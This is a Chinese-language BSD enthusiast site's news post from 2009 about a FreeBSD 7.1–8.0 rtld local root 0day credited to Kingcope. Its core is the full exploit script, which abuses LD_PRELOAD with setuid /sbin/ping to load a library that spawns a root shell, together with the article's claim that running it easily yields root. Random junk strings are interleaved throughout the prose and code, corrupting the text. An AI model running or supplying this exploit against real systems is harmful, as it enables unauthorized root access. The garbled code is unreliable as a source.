网络推荐



本广告位招租!

推荐给好友 上一篇 | 下一篇

FreeBSD爆严重安全漏洞,安全专家称疑是圣诞前的礼物

6?ry&mw*H DfX1在圣诞节即将到来的日子,以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日(0day)漏洞。据Kingcope所说,他长期致力于挖掘FreeBSD系统的本地提权漏洞,终于有幸在近期发现了这个非常低级的本地提权漏洞;这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中,普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛,包括FreeBSD 7.1至8.0的32及64位系统。

X ]$mQ$r&{1

'Hm^0QY5R?9ZD^1BSD爱好者乐园^)_#^'HAjk^ u

Gxe ^C1在展示该漏洞威力之前,我们科普一下著名黑客kingcope。从2007年6月至今,他一共公开了12个安全漏洞(没公开的不知道有多少),其中FreeBSD和Sun Solaris各两个,微软四个,Oracle、mysql、NcFTPD和nginx各一个,同时他还编写了多个漏洞的攻击代码,例如Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。

`e v4A| bDv,@1BSD爱好者乐园vQ|T-S yH,K

接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程,请注意图中的红色部分;我们只要执行名为fbsd8localroot.sh的脚本,就可以轻易的获得root权限。BSD爱好者乐园` Yfi/|a3J4m)SU6f

BSD爱好者乐园S7f/O)MtV

[#iqtJ A1BSD爱好者乐园 m$\ i,o"mz?

相关脚本如下:

/WxJ`7C_1

/nLMHg0A7Z1#!/bin/shBSD爱好者乐园 M DG7x8pM i*W
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
9l%O p(Hg'{ L"\H-Y1cat > env.c << _EOF
TiTz9^-H5IP[;^5AV1#include <stdio.h>BSD爱好者乐园Z7U!d.w(f.{ P
main() {
Fl F"|(IX'M:W^1       extern char **environ;BSD爱好者乐园(Q['a"H~/s&[@.Q
       environ = (char**)malloc(8096);
(N3kN | O"{B1       environ[0] = (char*)malloc(1024);BSD爱好者乐园"nA,HN v*KDU
       environ[1] = (char*)malloc(1024);BSD爱好者乐园h S,T7@4t x$rP k
       strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);BSD爱好者乐园(T @*yN3Dhi
       execl(”/sbin/ping”, “ping”, 0);
7LqCmB1}BSD爱好者乐园P3IG%S!A}
_EOFBSD爱好者乐园uidR b
gcc env.c -o env > /dev/null 2>&1BSD爱好者乐园5D v6pk!Ms$dY0r
#download from baoz.netBSD爱好者乐园%KO Y9[6LY KoA
cat > program.c << _EOFBSD爱好者乐园4e/xysz a7n
#include <unistd.h>
Nx-oNStn1#include <stdio.h>
n1w%N Z0g'@1#include <sys/types.h>
I-Rc7L\,sRC1#include <stdlib.h>
^#]?*n_xZ0z2D1void _init() {BSD爱好者乐园h9C$xH7| D/rs0]
       extern char **environ;BSD爱好者乐园Uc9B@9h
       environ=NULL;
U/} o,@pZ d1       system(”echo ALEX-ALEX;/bin/sh”);
8`#Y*?L}+Q,r1}
|-XM8P4r]1_EOFBSD爱好者乐园%O-vW3]ht@
gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./env

8f Vy!})h:L#{G1

/g;q6b6t$~0wC1FreeBSD尚未就该0day漏洞发布安全公告及官方补丁,敬请关注素包子的博客http://baoz.net/freebsd8-localroot-0day/以获取该漏洞的最新情况。

3p0|Xiuk_ n1
[重要提醒]对本篇资料有疑问,请到论坛讨论,尽量使文章准确无误>>>
[版权声明]BSD爱好者乐园站内文章,如来源不是互联网,则均系原创或翻译之作,可随意转载,或以此为基础进行演译,但务必以链接形式注明原始出处和作者信息,否则属于侵权行为。另对本站转载他处文章,俱有说明,如有侵权请联系本人,本人将会在第一时间删除侵权文章。
TAG: freebsd FreeBSD Freebsd root 漏洞
查看全部5条评论

最新评论

  • 删除 Guest (2010-1-03 18:49:47, 评分: 3 )

    3
  • 删除 Guest (2009-12-22 16:54:40, 评分: -5 )

    -5
  • 删除 Guest (2009-12-22 15:10:45, 评分: -5 )

    -5
  • 删除 引用 剑心通明 (2009-12-15 08:43:42, 评分: 0 )

    没办法啊,谁让咱用的是免费的网络啊。等以后网站能带来收入够养活它的时候再考虑换地方吧。
    原帖由Guest于2009-12-12 13:48:46发表
    你的网站慢了好多,麻烦修改快点
  • 删除 引用 Guest (2009-12-12 13:48:46, 评分: 0 )

    你的网站慢了好多,麻烦修改快点
 

评分:0

我来说两句

seccode